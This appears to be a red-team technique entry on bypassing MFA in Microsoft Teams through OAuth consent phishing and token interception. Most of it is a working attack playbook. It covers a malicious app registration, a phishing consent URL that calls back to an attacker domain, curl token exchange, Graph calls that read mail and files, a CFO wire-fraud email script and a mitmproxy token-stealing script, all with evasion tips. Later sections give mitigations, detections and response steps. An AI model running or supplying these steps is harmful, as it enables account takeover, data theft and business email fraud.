| Attribute | Details |
|---|---|
| Technique ID | LM-AUTH-006 |
| MITRE ATT&CK v18.1 | T1550 - Use Alternate Authentication Material |
| Tactic | Lateral Movement |
| Platforms | M365 (Microsoft Teams, Entra ID) |
| Severity | High |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | All M365 tenants with Teams enabled |
| Patched In | Mitigation-dependent (No patch available) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Microsoft Teams authentication bypass leverages OAuth consent phishing and token interception to bypass multi-factor authentication (MFA) and Conditional Access policies. Attackers either trick users into granting OAuth application permissions (consent phishing) or intercept legitimate Teams authentication tokens to impersonate users. Unlike traditional credential theft, this technique exploits the trust users place in Microsoft’s official authentication interfaces and the inherent design of OAuth 2.0 flows, which grant persistent token-based access even after the initial authorization.
Attack Surface: OAuth consent dialogs in Teams, Teams external collaboration links, and application registration mechanisms in Microsoft Entra ID. The attack may occur within Teams chat messages or via specially crafted URLs that trigger Teams-integrated OAuth flows.
Business Impact: Data exfiltration, business email compromise (BEC), and lateral movement to connected SaaS applications. An attacker gaining OAuth tokens can read a user’s email, access files on OneDrive/SharePoint, enumerate contacts, and send messages as the compromised user—all without stealing the user’s password or triggering MFA challenges. This is particularly dangerous in multi-tenant environments where Teams guest collaboration is enabled by default.
Technical Context: Exploitation typically takes 5-15 minutes from initial phishing message to full token acquisition. Detection is low if the attacker uses legitimate OAuth scopes and verified-appearing application names. The attack leaves OAuth audit trail entries but these often go unmonitored by Blue Teams unfamiliar with OAuth app governance.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 1.4.1, 1.4.6 | Multi-factor authentication enforcement and user consent controls for applications |
| DISA STIG | WN10-AU-000012 | Failure to monitor application authentication events |
| CISA SCuBA | ID.AC-7 | Privileged access management; lack of application access governance |
| NIST 800-53 | IA-2 (MFA), AC-3 (Access Control) | Bypass of multi-factor authentication through OAuth; failure to enforce application consent restrictions |
| GDPR | Art. 32 (Security of Processing) | Inadequate measures for OAuth app governance leading to unauthorized processing of user data |
| DORA | Art. 9 (Protection and Prevention) | Failure to implement technical protection measures against identity compromise via third-party applications |
| NIS2 | Art. 21 (Cyber Risk Management Measures) | Inadequate controls for cloud application access and third-party OAuth integrations |
| ISO 27001 | A.6.2.2 (User Identification and Authentication) | Weak application consent mechanisms allowing credential bypass |
| ISO 27005 | Risk Scenario: “Unauthorized Access via OAuth Token” | Lack of OAuth governance and monitoring exposes user data to compromise |
Supported Versions:
Required Tools:
# Check if organization allows user consent to applications
Connect-MgGraph -Scopes "Policy.Read.All"
$appConsent = Get-MgPolicyAuthorizationPolicy
$appConsent.DefaultUserRolePermissions | Select-Object AllowedToCreateApps, AllowedToReadOtherUsers
# List OAuth applications with high permission grants
Get-MgServicePrincipal -Filter "servicePrincipalType eq 'Application'" | Select-Object DisplayName, AppId, Tags
What to Look For:
AllowedToCreateApps is $true, any user can register OAuth applications—significant risk# Check Teams external access settings
$teamsPolicy = Get-CsTeamsExternalAccessPolicy
$teamsPolicy | Select-Object Identity, AllowFederatedUsers, AllowPublicUsers, AllowTeamsConsumerUsers
What to Look For:
Supported Versions: All Teams/M365 versions
Objective: Create a malicious OAuth application registered in Entra ID that will be presented to users for consent.
Command (Manual Steps in Azure Portal):
Adobe Sign Integration (or other trusted-sounding name)Mail.Read, Files.ReadWrite, User.Read.All (or scopes matching your objective)https://yourattacker-domain.com/auth/callbackExpected Output:
What This Means:
OpSec & Evasion:
Objective: Craft a convincing Teams message that directs the target to the OAuth consent page.
Execution (Teams Desktop):
graph-api.microsoftonline.com registered by attacker)Example Phishing URL:
https://login.microsoftonline.com/common/oauth2/v2.0/authorize?
client_id=<MALICIOUS_APP_ID>
&redirect_uri=https://attacker-domain.com/auth/callback
&response_type=code
&scope=Mail.Read%20Files.ReadWrite%20User.Read.All
&prompt=login
Expected Outcome:
OpSec & Evasion:
Objective: Trick the user into granting OAuth permissions to your malicious application.
What Happens Automatically:
User Behavior to Expect:
Expected HTTP Callback:
GET https://attacker-domain.com/auth/callback?code=0.ARIAd...&session_state=...
What This Means:
code parameter is an authorization codeOpSec & Evasion:
Objective: Convert the authorization code into an OAuth access token that can be used to impersonate the user.
Command (Linux/Bash with curl):
#!/bin/bash
CLIENT_ID="<MALICIOUS_APP_ID>"
CLIENT_SECRET="<CLIENT_SECRET>"
REDIRECT_URI="https://attacker-domain.com/auth/callback"
AUTH_CODE="<CODE_FROM_CALLBACK>"
TENANT_ID="common"
curl -X POST "https://login.microsoftonline.com/$TENANT_ID/oauth2/v2.0/token" \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "client_id=$CLIENT_ID" \
-d "client_secret=$CLIENT_SECRET" \
-d "code=$AUTH_CODE" \
-d "redirect_uri=$REDIRECT_URI" \
-d "grant_type=authorization_code" \
-d "scope=offline_access"
Expected Output:
{
"token_type": "Bearer",
"scope": "Mail.Read Files.ReadWrite User.Read.All ...",
"expires_in": 3600,
"ext_expires_in": 3600,
"access_token": "eyJ0eXAiOiJKV1QiLCJhbGc...",
"refresh_token": "0.ARIAd-Z..."
}
What This Means:
access_token can now be used to call Microsoft Graph APIs on behalf of the compromised userrefresh_token can be used to obtain new access tokens after expiry (valid for 90 days by default)OpSec & Evasion:
Objective: Use the stolen tokens to read email, access files, and enumerate the organization.
Command (Linux/Bash):
#!/bin/bash
ACCESS_TOKEN="<STOLEN_ACCESS_TOKEN>"
# Read user's mailbox
curl -X GET "https://graph.microsoft.com/v1.0/me/mailFolders/inbox/messages" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json"
# List user's OneDrive files
curl -X GET "https://graph.microsoft.com/v1.0/me/drive/root/children" \
-H "Authorization: Bearer $ACCESS_TOKEN"
# Get user's manager and direct reports (for lateral movement)
curl -X GET "https://graph.microsoft.com/v1.0/me/manager" \
-H "Authorization: Bearer $ACCESS_TOKEN"
Expected Output:
{
"value": [
{
"id": "...",
"from": {
"emailAddress": {
"address": "finance@company.com"
}
},
"subject": "Q4 Budget Approval - CONFIDENTIAL",
"bodyPreview": "The requested budget for R&D..."
}
]
}
What This Means:
OpSec & Evasion:
select parameter to minimize data transfer: select=id,from,subjectObjective: Use the compromised user’s identity to launch follow-on attacks (business email compromise).
Command (PowerShell with Graph API):
$AccessToken = "<STOLEN_ACCESS_TOKEN>"
$Headers = @{
"Authorization" = "Bearer $AccessToken"
"Content-Type" = "application/json"
}
$EmailBody = @{
"message" = @{
"subject" = "Urgent: Wire Transfer Approval Needed"
"body" = @{
"contentType" = "HTML"
"content" = "I need you to authorize an urgent wire transfer to our vendor. See attached for details. -CFO"
}
"toRecipients" = @(
@{
"emailAddress" = @{
"address" = "finance@company.com"
}
}
)
}
"saveToSentItems" = "true"
}
$BodyJson = $EmailBody | ConvertTo-Json -Depth 10
Invoke-RestMethod -Method POST `
-Uri "https://graph.microsoft.com/v1.0/me/sendMail" `
-Headers $Headers `
-Body $BodyJson
Expected Output:
No content returned (HTTP 202 Accepted)
What This Means:
OpSec & Evasion:
Supported Versions: All Teams/M365 versions (when Teams traffic is proxied)
Objective: Position a proxy between user and Microsoft endpoints to intercept OAuth tokens.
Command (Linux - Burp Suite or mitmproxy):
# Install mitmproxy
apt-get install mitmproxy
# Start mitmproxy with custom script to capture OAuth tokens
mitmproxy --mode transparent --modify-body '/access_token":"([^"]+)"/' -s capture_tokens.py
capture_tokens.py Script:
def request(flow):
if "graph.microsoft.com" in flow.request.url or "login.microsoftonline.com" in flow.request.url:
print(f"[*] Captured request to: {flow.request.url}")
def response(flow):
if "access_token" in flow.response.text:
print(f"[*] Token captured in response: {flow.response.text[:200]}...")
with open("/var/log/stolen_tokens.txt", "a") as f:
f.write(flow.response.text + "\n")
Expected Output:
[*] Captured request to: https://login.microsoftonline.com/common/oauth2/v2.0/token
[*] Token captured in response: {"access_token":"eyJ0eXA...","expires_in":3600,...}
What This Means:
OpSec & Evasion:
Objective: Use intercepted tokens to access victim’s data without needing credentials.
Command (Linux/Bash):
#!/bin/bash
# Extract tokens from captured logs
TOKENS=$(grep -oP '"access_token":"\K[^"]+' /var/log/stolen_tokens.txt)
# For each token, attempt to access user data
for TOKEN in $TOKENS; do
echo "[*] Testing token: ${TOKEN:0:50}..."
curl -X GET "https://graph.microsoft.com/v1.0/me" \
-H "Authorization: Bearer $TOKEN" \
-s | jq '.' > "/tmp/user_${TOKEN:0:20}.json"
if [ $? -eq 0 ]; then
echo "[+] Token valid! User data saved."
fi
done
Expected Output:
{
"id": "abc123...",
"userPrincipalName": "victim@company.com",
"displayName": "Victim User",
"mail": "victim@company.com"
}
What This Means:
OpSec & Evasion:
Validation Commands:
# Verify token is valid and active
$AccessToken = "<STOLEN_TOKEN>"
$Headers = @{
"Authorization" = "Bearer $AccessToken"
}
try {
$Response = Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me" `
-Headers $Headers
Write-Host "[+] Token Valid! User: $($Response.userPrincipalName)"
} catch {
Write-Host "[-] Token Invalid or Expired"
}
Restrict User Consent to Applications: Block non-admin users from consenting to applications.
Manual Steps (Azure Portal - Admin Center):
Manual Steps (PowerShell):
Connect-MgGraph -Scopes "Policy.ReadWrite.Authorization"
$PolicyParams = @{
"DefaultUserRolePermissions" = @{
"AllowedToCreateApps" = $false
"AllowedToReadOtherUsers" = $false
}
}
Update-MgPolicyAuthorizationPolicy -BodyParameter $PolicyParams
Validation Command:
$Policy = Get-MgPolicyAuthorizationPolicy
if ($Policy.DefaultUserRolePermissions.AllowedToCreateApps -eq $false) {
Write-Host "[+] User consent disabled successfully"
}
Enable OAuth App Governance in Microsoft Defender for Cloud Apps (MDCA):
Manual Steps:
Validation: Monitor the “OAuth app governance” dashboard for suspicious app consents
Enforce Conditional Access Policy to Block Legacy OAuth:
Manual Steps (Azure Portal):
Block Legacy OAuth AppsEnforce MFA for All Users: Even with OAuth consent phishing, MFA on the initial login reduces token theft risk.
Manual Steps (Conditional Access):
Enforce MFA for All UsersMonitor and Audit OAuth Application Consents:
Manual Steps (M365 Purview):
Disable Teams External Collaboration (if not needed):
Manual Steps (Teams Admin Center):
Alternatively, restrict to specific domains:
@trusted-domain.com onlyAdd app password without user actionConsent to application for unknown/suspicious appsCreate application by non-admin user/me/mailFolders/inbox/messages called immediately after app consent (unusual access pattern)/me/drive/root/children followed by bulk file download/me/sendMail called outside normal business hoursOperation=AzureActiveDirectoryEventEntity AND ResultStatus=Success AND Operation~="Consent"/me endpoints called by service principals# List OAuth apps the user consented to
Get-MgUserOAuth2PermissionGrant -UserId <USER_UPN>
# Revoke a specific OAuth app's consent
Remove-MgUserOAuth2PermissionGrant -UserId <USER_UPN> -OAuth2PermissionGrantId <GRANT_ID>
# Revoke all tokens for a user (forces re-authentication)
Revoke-MgUserSignInSession -UserId <USER_UPN>
# Force password change on next login
Update-MgUser -UserId <USER_UPN> -ForceChangePasswordNextSignIn $true
# Check if attacker created inbox rules to forward emails
Get-InboxRule -Mailbox <USER_UPN> | Where-Object { $_.ForwardTo -ne $null }
Update-MgUser -UserId <USER_UPN> -AccountEnabled $false
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-005] Internal spearphishing campaigns | Attacker sends Teams message with malicious link |
| 2 | Privilege Escalation | [PE-ACCTMGMT-002] Exchange Online Admin to Global | User is compromised and has elevated permissions |
| 3 | Current Step | [LM-AUTH-006] | OAuth token theft via consent phishing |
| 4 | Data Exfiltration | [CHAIN-003] Token Theft to Data Exfiltration | Attacker uses token to steal emails/files |
| 5 | Persistence | [PE-ACCTMGMT-014] Global Administrator Backdoor | Attacker creates hidden admin account via Graph API |